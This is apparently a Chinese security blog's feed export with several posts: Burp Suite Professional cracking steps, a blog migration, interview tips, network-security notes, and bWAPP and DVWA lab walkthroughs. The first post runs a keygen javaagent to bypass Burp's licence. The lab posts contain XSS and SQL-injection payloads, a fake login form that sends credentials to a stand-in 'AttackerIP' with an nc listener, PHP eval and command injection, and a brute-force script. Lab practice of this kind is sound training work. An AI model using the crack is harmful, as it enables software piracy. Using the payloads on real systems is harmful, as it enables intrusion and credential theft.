    cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar"  "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"

    开另一个终端:

    1
    /Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar

    按往常的注册流程即可。

    为方便运行,

    修改vmoptions.txt

    1
    2
    3
    4
    5
    6
    7
    8
    -XX:MaxRAMPercentage=50
    -include-options user.vmoptions--add-opens=java.desktop/javax.swing=ALL-UNNAMED
    --add-opens=java.base/java.lang=ALL-UNNAMED
    --add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
    --add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
    --add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
    -javaagent:BurpLoaderKeygen.jar
    -Xmx2048m

    之后就可以正常使用了。

    参考

    https://www.sqlsec.com/2019/11/macbp.html#BP-2022-1

    ]]>
    + + + +
    + + + + + 博客迁移 + + /2022/12/04/%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB/ + +

    为什么迁移博客

    之前的博客用了快三年,有一些小问题,另外发现有些图片失效了,甚至给我换了广告,不能忍。

    而且速度很慢,准备换个框架,整体迁移一下。

    以前用的是Jekyll,一个小众主题,很简洁,有语言翻译功能,手机端做的也不错。但是可扩展性差,用的人少,功能不完善。

    需求

    当前需求:

    • 支持RSS

    • 支持外链,GitHub,知乎等

    • 支持查看运行时间,访问总次数。

    • 支持归档,时间倒序排列。

    • 支持转发到微信,qq,Twitter

    • 相关文章推荐

    • 写公告

    长远需求:

    • 评论
    • 弹出聊天框
    • 插入广告
    • 支持打赏

    寻找框架主题

    主流静态框架有三种:

    Hexo

    Hugo

    Jekyll

    最终决定用hexo

    框架:https://github.com/hexojs/hexo

    主题:butterfly

    此框架国内用的多,有问题方便查找,主题功能完善,看了别人的demo,特别惊艳。

    可以满足我需要的所有需求。

    缺点是不方便多端编辑,需要在本地生成之后上传所有文件。不像之前的Jekyll,只上传一个md文件就够了。

    迁移进度

    • 框架迁移
    • post迁移
    • 调整格式为hexo格式
    • 图片迁移(迁移了部分图片,有些404被SMS和谐了,之后把图片都放在Github上)
    • 多终端同步(main保存源文件,gh-pages保存生成后的文件。尝试后失败)
    • 格式美化
    • 配置CDN

    渐变背景色

    参考:

    https://www.antmoe.com/posts/7198453

    https://www.cnblogs.com/MoYu-zc/p/14397889.html

    遇到了渐变色不生效的问题,看了上面这篇文章,解决了。将butterfly.ymlbackground改为"#efefef"

    下面是配置背景色的css文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    /* 文章页背景 */
    .layout > div:first-child:not(.recent-posts) {
    /* 以下代表白色透明度为0.5 */
    background: rgba(255, 255, 255, 0.5);
    }
    /* 所有背景(包括首页卡片、文章页、页面页等) */
    #recent-posts > .recent-post-item,
    .layout > div:first-child:not(.recent-posts),
    .layout_post > #page,
    .layout_post > #post,
    .read-mode .layout_post > #post {
    /* 以下代表白色透明度为0.5 */
    background: rgba(255, 255, 255, 0.5);
    }

    /* 背景渐变 */
    #web_bg{
    /*紫粉渐变*/
    /*background-image: linear-gradient(120deg, #e0c3fc 0%, #8ec5fc 100%);*/
    /*粉白蓝*/
    /*background-image: linear-gradient(-225deg, #dfbacd 0%, #B8DCFF 48%, #58abf3 100%);*/
    /*background-image: linear-gradient(120deg, #89f7fe 0%, #66a6ff 100%);*/
    /*background-image: linear-gradient(120deg, #a1c4fd 0%, #c2e9fb 100%);*/
    background-image: linear-gradient(to top, #fff1eb 0%, #ace0f9 100%);
    }

    安装插件

    install hexo-renderer-pug hexo-renderer-stylus --save
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 字数计数
    npm install hexo-wordcount --save
    # 本地搜索
    npm install hexo-generator-search --save
    # 慢加载
    npm install hexo-lazyload-image --save
    # push到GitHub
    npm install hexo-deployer-git --save
    # RSS订阅
    npm install hexo-generator-feed --save

    #后期安装,图片引用
    cnpm install hexo-renderer-marked

    查看已安装的所有插件:npm list

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    +-- hexo-deployer-git@3.0.0
    +-- hexo-generator-archive@2.0.0
    +-- hexo-generator-category@2.0.0
    +-- hexo-generator-feed@3.0.0
    +-- hexo-generator-index@3.0.0
    +-- hexo-generator-search@2.4.3
    +-- hexo-generator-tag@2.0.0
    +-- hexo-renderer-ejs@2.0.0
    +-- hexo-renderer-marked@6.0.0
    +-- hexo-renderer-pug@3.0.0
    +-- hexo-renderer-stylus@2.1.0
    +-- hexo-server@3.0.0
    +-- hexo-theme-landscape@0.0.3
    +-- hexo-wordcount@6.0.1
    `-- hexo@6.3.0

    备注:升级了Butterfly主题,也同步升级了其中一个插件:hexo-renderer-stylus

    1
    Bump hexo-renderer-stylus from 2.1.0 to 3.0.0 dependencies

    一些小坑

    1. 注意,配置文件冒号后面需要加空格。
    2. 因为之前的githubpro过期了,免费github用户必须选择public仓库才能使用github pages功能,因此选择将仓库Public.
    3. 目前此主题只支持UA跟踪ID,查了一下,Google将于2023年7月下架,所以先不用了。

    还有一些问题,记录在README上了。

    https://github.com/h4m5t/h4m5t.github.io/blob/master/README.md

    修改Profile README

    顺便修改了一下github主页的readme,可以选不同颜色主题。

    tokyonight

    h4m5t's GitHub stats

    Vue

    Top Langs

    参考下面的repo.

    可以合并到表格,更整齐。

    h4m5t's github stats

    或者使用自动生成器:

    https://rahuldkjain.github.io/gh-profile-readme-generator/

    ]]>
    + + + + + blog + + + + + + + blog + + Github + + + +
    + + + + + 图片测试 + + /2022/12/01/%E5%9B%BE%E7%89%87%E6%B5%8B%E8%AF%95/ + + ss

    加入图片测试:

    hh

    touxiang:

    touxiang

    ]]>
    + + + +
    + + + + + 春招 + + /2022/08/22/%E6%98%A5%E6%8B%9B/ + +

    春招早就告一段落,在这里记录一下。

    需要准备的几个方向

    1. 简历
    2. 自我介绍
    3. 计算机网络
    4. 操作系统(操作系统原理,Linux,Windows)
    5. 数据
    6. 算法(Leetcode)
    7. 编程语言(Python,C++,go等)
    8. 安全知识(很多很杂,建议根据自己擅长的方向和所投递的岗位进行针对性学习)

    计算机知识参考CS-NOTES:http://www.cyc2018.xyz/

    安全方面的可以去Github,知乎,等平台查找。**牛客**上也有很多!仔细找。

    贴一下我自己找的一些**安全面经**:https://github.com/h4m5t/Sec-Interview

    Python面试题:https://github.com/taizilongxu/interview_python

    安全岗职位要求

    • 熟悉osquery等开源HIDS工具,阅读过工具部分源码或进行过二次开发
    • 有过实战经验(包括src、众测、护网等)
    • 了解Redis/docker/MySQL/Java框架等常见中间件高危漏洞原理
    • 精通 PoC、Exp、规则、指纹等编写的能力
    • 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;
    • 入侵检测
    • 熟悉某一安全细分领域,如内网渗透、移动安全、恶意软件分析、CTF竞赛等
    • 掌握白帽子攻击流程及常用白帽子工具,熟悉攻击技术,具有渗透常见服务器的经验
    • 熟悉热门流行的攻击工具,能够灵活运用各类小工具,并能开发相关的小工具
    • 熟悉web、内网、iot方面的渗透流程和攻击技术,有过渗透测试、攻击模拟经验
    • 实践落地过完整SDL威胁建模方面的项目经验
    • 有实际用过机器学习算法解决过实际问题的项目经验
    • 有实践过云安全落地解决实际问题的项目经验
    • 熟悉windows、Linux系统及常用命令,熟悉WEB服务器常见配置
    • 了解Owasp Top10漏洞原理,具备渗透测试的实施和交付能力,熟悉渗透测试的步骤和方法
    • 了解常见企业安全防御技术,有防护绕过实践经验
    • 了解基本的Linux、Mysql、Redis、Nginx、DDOS等技术知识
    • 参与各类CTF安全竞赛获奖者优先,参与各大SRC、众测平台并排名靠前者优先
    • 网络安全法律
    • 独立挖掘到 k8s、容器逃逸、虚拟机逃逸相关漏洞的研究者优先;
    • 熟悉白盒审计,能对python、go、php代码进行审计
    • 快手招聘要求
    • 1、熟练使用SQLmap、Burp Suite、Metasploit等常见安全测试工具,了解原理,熟悉代码并且对其进行过二次开发
    • 2、在安全社区比较活跃,提交过高质量安全漏洞或者安全分析文章
    • 3、开发社区活跃,有开源过安全相关代码
    • 4、有互联网安全团队实习经验
    • 字节招聘要求
    • linux环境开发能力
    • shell
    • 有 Windows/Linux 客户端安全攻防的经验,或了解 Android/iOS 移动安全
    • 对安全合规,安全管理有了解
    • 数据分析,挖掘,机器学习
    • React/Vue前端
    • 对 Web 安全、服务端安全、客户端安全、移动安全、无线安全、物联网安全等其中一项或几项有深入研究

    面试技巧

    面试的节奏最好把握在自己手里,我们不可能每个方面都会,让面试官随便问的话,很大概率要挂。可以在自我介绍的时候,将你的学习历程讲清楚,让面试官知道你会什么,接触过什么,让他知道你大概会的东西的方向。其次,基础要扎实,漏洞的原理、种类、防御方式、应用等都应该十分熟悉,而且最好准备一些比较深的内容,开始的时候不说,等他问了再说,效果更好。然后,就是项目的经验了,这种东西要你确实做过且了解很深的才行,不然很容易给面试官留下差印象。还有就是HR,技术面你可以和面试官扯蛋、闲聊、开些玩笑也无所谓,但HR最好就不要了,正经点,别什么真话都往外说,别给他理由把你pass了

    我的春招记录

    待更

    ]]>
    + + + + + 面试 + + + + + + + 安全 + + 面试 + + + +
    + + + + + python安全开发 + + /2022/03/05/py%E5%AE%89%E5%85%A8/ + +

    半年多没接触编程,手生了。做一些python安全开发的小工具,练手+复习

    sqlmap Tamper

    Burp插件

    端口扫描探测

    python web安全

    1.获取http状态码

    1
    2
    3
    4
    import requests
    url="https://baidu.com"
    r=requests.get(url)
    print(r)

    2.get请求

    无参数

    1
    2
    3
    4
    5
    6
    import requests
    url="https://baidu.com"
    r=requests.get(url=url)
    print(r.url)
    print(r.headers)
    print(r.status_code)

    带参数请求

    1
    requests.get(url,params=) #字典

    3.POST请求

    1
    requests.post(url,data=)

    4.headers自定义请求头

    5.响应头和请求头

    print(r.headers)

    print(r.request.headers)

    ]]>
    + + + + + 安全 + + + + +
    + + + + + html5新安全 + + /2022/02/26/html/ + + + + + + + 安全 + + + + + + + + + + 香农信息论 + + /2022/02/25/xinxi/ + + + + + + + 密码学 + + + + + + + + + + bWAPP靶场记录 + + /2022/02/17/bwapp/ + +

    bWAPP靶场训练记录,之前就搭好的,一直没练,现在有空练一下

    主要内容有:一个很综合的靶场,不错!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
    Blind SQL and Blind OS Command injection
    Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
    Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
    Cross-Site Request Forgery (CSRF)
    AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
    Malicious, unrestricted file uploads and backdoor files
    Authentication, authorization and session management issues
    Arbitrary file access and directory traversals
    Local and remote file inclusions (LFI/RFI)
    Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
    HTTP parameter pollution and HTTP response splitting
    Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
    Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
    HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
    Unvalidated redirects and forwards, and cookie poisoning
    Cookie poisoning and insecure cryptographic storage
    Server Side Request Forgery (SSRF)
    XML External Entity attacks (XXE)
    And much much much more…

    image-20220220202650607

    A1 Injection

    HTML Injection - Reflected (GET)

    get型的html注入

    http://127.0.0.1/bWAPP/bWAPP/htmli_get.php?firstname=%3Ch1%3Etest%3Ch1%3E&lastname=%3Ch1%3Etest%3Ch1%3E&form=submit

    也可以使用xss

    HTML Injection - Reflected (POST)

    通过hackbar提交POST请求即可

    image-20220220204407419

    HTML Injection - Reflected (URL)

    尝试XSS

    http://127.0.0.1/bWAPP/bWAPP/htmli_current_url.php?a=%3Cscript%3Ealert(/xss/)%3C/script%3E

    bp抓包之后对编码进行修改

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    GET /bWAPP/bWAPP/htmli_current_url.php/?a=<script>alert(/xss/)</script> HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Cookie: PHPSESSID=r4h29vbhsl8upskjm0bs4ve575; security_level=0
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1

    原理如此,但这个只能在IE浏览器才能成功。

    HTML Injection - Stored (Blog)

    可以XSS

    看了网上以为老外写的exp

    1
    <div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://AttackerIP/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>

    攻击机:nc -l 80

    iFrame Injection

    http://127.0.0.1/bWAPP/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

    OS Command Injection

    命令注入,跟DVWA的很类似

    image-20220220212958793

    OS Command Injection - Blind

    跟SQL盲注类似,根据时间判断命令是否执行成功

    PHP Code Injection

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php

    if(isset($_REQUEST["message"]))
    {

    // If the security level is not MEDIUM or HIGH
    if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {

    ?>
    <p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>

    <?php

    http://127.0.0.1/bWAPP/bWAPP/phpi.php/?message=phpinfo()

    有点像get型传参的注入

    image-20220220213536683

    Server-Side Includes (SSI) Injection

    这里执行XSS没有问题,但是对服务端包含还不够熟悉。用了一下老外的exp也没成功

    接下来就是SQL注入类型的了。

    SQL Injection (GET/Search)

    image-20220220214631158

    http://127.0.0.1/bWAPP/bWAPP/sqli_1.php?title=a%%27%20order%20by%207%20--+&action=search

    order试出列

    数据库名和用户名

    http://127.0.0.1/bWAPP/bWAPP/sqli_1.php?title=a%27%20union%20select%201,database(),user(),4,5,6,7%20--+&action=search

    SQL Injection (AJAX/JSON/jQuery)

    ]]>
    + + + + + 渗透 + + + + +
    + + + + + Attacks on the RSA Cryptosystem + + /2022/02/13/rsa/ + +

    《Twenty Years of Attacks on the RSA Cryptosystem》阅读笔记

    ]]>
    + + + + + 密码学 + + + + +
    + + + + + network-security学习笔记 + + /2022/02/03/network/ + + 第一章:网络安全综述

    网络安全是建立在密码学以及协议设
    计的基础上的

    网络安全的主要任务:

    • 保障网络与系统 安全、可靠、高效、可控、持续地运行和被访问。
    • 保障信息 机密、完整、不可否认、可认证地传输和使用。

    ISO-OSI模型。

    TCP/IP模型

    image-20210913194224992

    X.800

    用一种或多种安全机制来实现安全服务,安全服务
    致力于抵御安全攻击。

    主动攻击:

    • 伪装
    • 重放
    • 篡改
    • 拒绝服务

    被动攻击:

    • 窃听
    • 流量分析

    image-20210913194643371

    image-20210913194651098

    第二章:公钥基础设施PKI

    1.公钥基础设施:PKI是一个用非对称密码算法原理和技术来实现并提供安全服务的具有通用性的安全基础设施。是一种遵循标准的利用公钥加密技术为电子商务的开展提供安全基础平台的技术和规范。能够为所有网络应用提供采用加密和数字签名等密码服务所需要的密钥和证书管理

    2.功能(为什么需要PKI)

    对可信第三方的需要(CA)
    电子政务、电子商务对信息传输的安全需求,统一标准
    在收发双方建立信任关系,提供身份认证、数字签名、加密等安全服务
    收发双方不需要事先共享密钥,通过公钥加密传输会话密钥

    3.证书的基本结构

    image-20210913200921714

    4.组成

    image-20210913201019930

    5.密钥备份和恢复系统:

    • 签名密钥对:签名私钥相当于日常生活中的印章效力,为保证其唯一性、抗
      否认性,签名私钥不作备份。签名密钥的生命期较长。
    • 加密密钥对:加密密钥通常用于分发会话密钥,为防止密钥丢失时无法解密
      数据,解密密钥应进行备份。这种密钥应频繁更换。

    6.交叉认证:

    多个PKI独立地运行,相互之间应建立信任关系

    对等CA互相签发

    7.PKI服务

    • 认证
    • 完整性
    • 保密性
    • 不可否认性服务
    • 公证服务

    8.常用的密码技术

    image-20210913200849982

    机密性:数据加密(数字信封)

    信息发送端用接收端的公钥,将一个通信密钥(即对称密钥)给予加密,生成一个数字信封。接收端用自己的私钥打开数字信封,获取该对称密钥SK,用它来解读收到的信息。

    身份认证:数字签名

    对待发的数据首先生成一段数据摘要,再采用己方私钥基于非对称加密算法进行加密,结果附在原文上一起发送,接受方对其进行验证,判断原文真伪。这种数字签名适用于对大文件的处理,对于那些小文件的数据签名,则不预先做数据摘要,而直接将原文进行非对称加密处理。

    image-20210913203234717

    完整性:数字签名+MAC

    不可否认性:数字签名+时间戳

    由于非对称密码的运算复杂、加/解密速度慢,因此信息的加密采用对称密码
    算法,其会话密钥的分发采用非对称密码算法,即采用收方的公钥对会话密
    钥进行加密。

    报文检验码(消息认证码MAC)

    9.PKI功能操作

    image-20210913203710477

    初始化

    • 终端实体注册
    • 密钥对产生(用户产生,CA产生,其他可信第三方产生)
    • 证书创建
    • 证书分发
    • 密钥备份

    10.生命周期

    • 证书获取
    • 证书验证——确定一个证书的有效性
    • 密钥恢复——对终端用户因为某种原因而丢失的加密密钥可以恢复,从CA或信任第三方处恢复
    • 密钥更新——当一个合法的密钥对将过期时,进行新的公/私钥的自动产生和相应证书的颁发
    image-20210913205553051

    11.信任CA结构

    • 层次模型
    • 分布式信任结构模型
    • 桥式结构
    • 混合结构

    层次模型:

    image-20210913205835921

    分布式模型:

    image-20210913210007417

    12.证书链

    image-20210913205905995

    image-20210913210043066

    13.X.509

    为了解决X.500目录中的身份鉴别和访问控制问题而设计的。同时本身也采用目录的形式进行管理和访问。

    14.主要内容

    image-20210913210603513

    15.CA

    PKI核心实体认证机构CA,为各个实体颁发电子证书,对实体身份信息和相应公钥数据进行数字签名,用以捆绑该实体的公钥和身份,以证明各实体在网上身份的真实性;并负责在交易中检验和管理证书.

    功能

    • 证书申请
    • 证书审批
    • 证书颁发
    • 证书撤销
    • 证书更新
    • 证书废止列表管理
    • 证书的归档
    • CA自身的维护管理
    • CA自身密钥管理

    第三章:IPSec-AH和ESP

    1.IPv4和IPv6

    image-20210914224817924

    2.安全组合SA

    为使通信双方的认证/加密算法及其参数、密钥的一致,相互间建立的联系被称为安全组合或安全关联(Security Association)

    SA是单向的,在双向通信时要建立两个SA

    安全关联数据库(SAD)

    安全策略数据库(SPD)

    SA由一个三元组唯一地标识,该三元组为安全参数索引SPI、一个
    用于输出处理的目的IP地址和协议(如AH或ESP)

    3.认证头标AH

    • AH协议提供无连接的完整性、数据源认证和抗重放保护服务
    • 不提供保密性服务
    • AH使用消息认证码(MAC)对IP进行认证

    image-20210915000523376

    序列号的使用:防止重放。

    认证头标:完整性校验。

    AH外出处理和进入处理

    4.封装安全载荷ESP

    • ESP提供数据保密、抗重播服务、无连接完整
      性(可选)
    • ESP大都采用对称密码体制加密数据
    • ESP使用消息认证码(MAC)提供认证服务

    image-20210915001552673

    填充的目的:

    • 加密算法要求明文为某个数目字节的整数倍;
    • 32位对齐;
    • 隐藏实际载荷长度,提供流量保密性

    ESP外出处理,进入处理。

    5.传输模式和隧道模式

    image-20210915003245428

    6.IPsec和NAT

    IPsec优点:

    • 对边界所有流量强制实现安全性,内部网络无需关注开销;
    • 对上层协议、终端用户透明、
    • 构建安全的虚拟专用网

    具有AH头标或ESP头标的的IP分组不能穿越NAT和NATPT

    7.IPSec隧道模式的应用-VPN

    VPN 的种类、功能

    8.IPsec的实现

    IPSec VPN 的处理流程

    第四章:IPSec-IKE

    因特网密钥交换协议,是一个以受保护的方式动态协商IPsec SA的协议。

    功能:使用某种长期密钥进行双向认证并建立会话密钥

    主模式,野蛮模式。

    IKEv1, IKEv2

    第五章:SSL/TLS基本协议

    SSL (Secure Socket Layer)是一种在TCP协议之上为两个端实体(End Entity)之间提供安全通道的协议。

    具有保护传输数据以及识别通信实体的功能。安全通道是透明的,独立于应用层;传输层采用TCP,提供可靠业务

    SSL功能:

    • 客户对服务器的身份认证
    • 服务器对客户的身份认证
    • 建立服务器与客户之间安全的数据通道

    SSL工作原理:

    • 采用握手协议建立客户与服务器之间的安全通道,该协议包括双方的相互认证,交换密钥参数
    • 采用告警协议向对端指示其安全错误
    • 采用改变密码规格协议告知改变密码参数
    • 采用记录协议封装以上三种协议或应用层数据

    第六章:防火墙与NAT

    1.定义 防火墙是位于两个(或多个)网络间,实施网间访问控制的一组组件的集合

    防火墙 = 硬件 + 软件 + 控制策略

    设计目标:

    • 内部和外部之间的所有网络数据流必须经过防火墙;
    • 只有符合安全政策的数据流才能通过防火墙;
    • 防火墙自身能抗攻击;

    防火墙的必要性:

    • 保护内部不受来自Internet的攻击
    • 创建安全域
    • 强化机构安全策略

    防火墙的要求(两个要求存在矛盾性):

    • 保障内部网安全
    • 保证内部网同外部网的连通

    2.分类

    包过滤型防火墙

    针对包过滤型防火墙的攻击

    状态检测型防火墙(参见百度百科)

    状态检测防火墙在网络层有一个检查引擎截获数据包并抽取出与应用层状态有关的信息,并以此为依据决定对该连接是接受还是拒绝。

    应用级网关型防火墙

    代理服务型防火墙

    复合型防火墙

    安全缺省策略:

    • 一切未被禁止的就是允许的

    • 一切未被允许的就是禁止的(RFC2979推荐)

    3.功能

    • 访问控制:隔断、过滤、代理
    • 加密
    • 授权认证
    • 地址翻译(NAT)
    • VPN
    • 负载均衡
    • 内容安全:病毒扫描(特征码)、URL扫描、HTTP过滤
    • 日志记帐、审计报警

    4.NAT 基本原理、作用

    Network Address Translation

    NAT技术可以在路由器(边界)、防火墙上实现内外地址的翻译工作

    类型:

    • 源网络地址转换(Source NAT,缩写为SNAT),即IP伪装(masquerade)
    • 目的网络地址转换(Destination NAT,缩写为DNAT)

    作用:

    SNAT

    • 复用内部的全局地址,解缓IP地址不足的压力
    • 向外部网络隐藏内部网络的IP地址

    DNAT

    • 在实现SNAT的环境下进行有效的服务访问
    • 流量均衡

    NAT工作原理:

    SNAT工作原理

    实现方式:

    • 静态NAT(一一对应)
    • 动态NAT(多对多)
    • 过载(一对多)

    第七章:虚拟专用网VPN

    所需技术:

    • 隧道技术
    • 加解密技术
    • 密钥管理技术
    • 认证技术
    • 访问控制

    分类:

    image-20210916203559024

    IPSec VPN

    • AH 协议提供信息源验证和完整性保证;
    • ESP 协议提供信息源验证、机密性和完整性保证;
    • IKE提供密钥协商

    第八章:应用层安全协议

    电子邮件安全协议:

    • PEM
    • S/MIME
    • PGP
    • SMTP

    image-20210916204440621

    签名、压缩、加密

    若超过标准长度,则PGP自动对报文分段,接收端再重组。

    PGP虽然采用公钥密码体系,但不是基于PKI证书体系

    S/MIME使用X.509证书,它的密钥管理方案介于严格的X.509证书层次结构和PGP信任网之间

    SSH

    HTTPS((http over SSL)

    安全电子交易协议SET(Secure Electronic Transaction)

    SET提供了消费者、商家和银行之间的认证,确保了网上交易数据的保密性,数据的完整性以及交易的不可抵赖性。

    SET采用公钥密码体制,遵循X.509数字证书标准

    双重数字签名

    第九章:无线局域网安全

    1.无线网络的分类

    • 无线广域网(WWAN)
    • 无线城域网(WMAN)
    • 无线局域网(WLAN)Wireless Local Area Network
    • 无线个人网(WPAN)

    2.WLAN建立的方式

    • Ad-hoc Mode
    • Infrastructure Mode

    3.WLAN的安全需求

    WLAN安全机制

    • 用户认证
    • 用户授权
    • 数据安全

    802.11 的安全机制

    • 身份认证
    • 数据机密性
    • 数据完整性

    WEP协议(有线等效保密协议)

    功能:访问控制,数据保密性

    802.11的安全增强

    image-20210917091147265image-20210917092310657

    其他

    安全机制实现安全服务,安全服务抵御安全攻击。

    image-20211217161559825

    防火墙设计目标:

    • 内部和外部之间的所有网络数据流必须经过防火墙;
    • 只有符合安全政策的数据流才能通过防火墙;
    • 防火墙自身能抗攻击;

    防火墙的控制能力:

    • 服务控制
    • 方向控制
    • 用户控制
    • 行为控制

    包过滤防火墙在(网络层)上进行检测,在(路由器)上实现。

    image-20211219145112895

    IKE的功能:使用某种长期密钥进行双向认证并建立会话密钥

    IKE是一个是一个以受保护的方式动态协商IPsec SA的协议

    image-20211219154048173image-20211219160229356

    选择符。

    image-20211219161713558

    电子邮件安全协议

    • PEM
    • S/MIME
    • PGP

    image-20211219165020483

    image-20211219181615499

    image-20211219184746390image-20211219190204120

    image-20211219191438417

    image-20211219200652506

    WEP:有线等效保密协议

    WEP功能:

    • 访问控制
    • 数据保密性
    image-20211220155923021

    image-20211220163158572

    ]]>
    + + + + + 安全 + + + + +
    + + + + + DVWA靶场记录 + + /2022/01/21/DVWA/ + +

    二月份做过一遍,现在复习一下。

    暴力破解

    1.low

    image-20220127105718016

    发送到Intruder模块破解即可。

    image-20220127110040408

    或者使用万能密码登陆

    image-20220127110633591

    2.medium

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    <?php

    if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check the database
    $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
    // Get users details
    $avatar = mysql_result( $result, 0, "avatar" );

    // Login successful
    echo "<p>Welcome to the password protected area {$user}</p>";
    echo "<img src=\"{$avatar}\" />";
    }
    else {
    // Login failed
    sleep( 2 );
    echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
    }

    ?>

    image-20220127111122668

    这个函数对特殊字符进行转义,使得万能密码失效,只能用暴力破解的方法了。

    3.high

    1
    2
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    Token直接并到URL后面。

    1
    http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=2f7c77f2d6684f968502e34a49b71c39#

    使用脚本进行爆破

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    from bs4 import BeautifulSoup
    import requests

    header={
    'GET': 'http://150.158.167.184:81/vulnerabilities/brute/ HTTP/1.1',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Referer':'http://150.158.167.184:81/vulnerabilities/brute/',
    'cookie':'PHPSESSID=ukih93al6mi9q6sghlo6oo5h90; security=high',
    'Connection':'keep-alive',
    'Upgrade-Insecure-Requests':'1',
    'Host':'127.0.0.1'
    }
    requrl="http://150.158.167.184:81/vulnerabilities/brute/"


    def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']") #返回的是一个list列表
    user_token=input[0]['value'] #获取用户的token
    return user_token

    user_token=get_token(requrl,header)
    i=0
    for line in open("password.txt"):
    requrl="http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end=" ")
    user_token=get_token(requrl,header)
    # 尝试次数
    if(i==20):
    break

    image-20220127114525285

    命令注入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22

    <?php

    if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping ' . $target );
    }
    else {
    // *nix
    $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
    }

    ?>

    1.Low

    没有任何防护,可以直接执行命令:127.0.0.1 && ipconfig

    2.medium

    1
    2
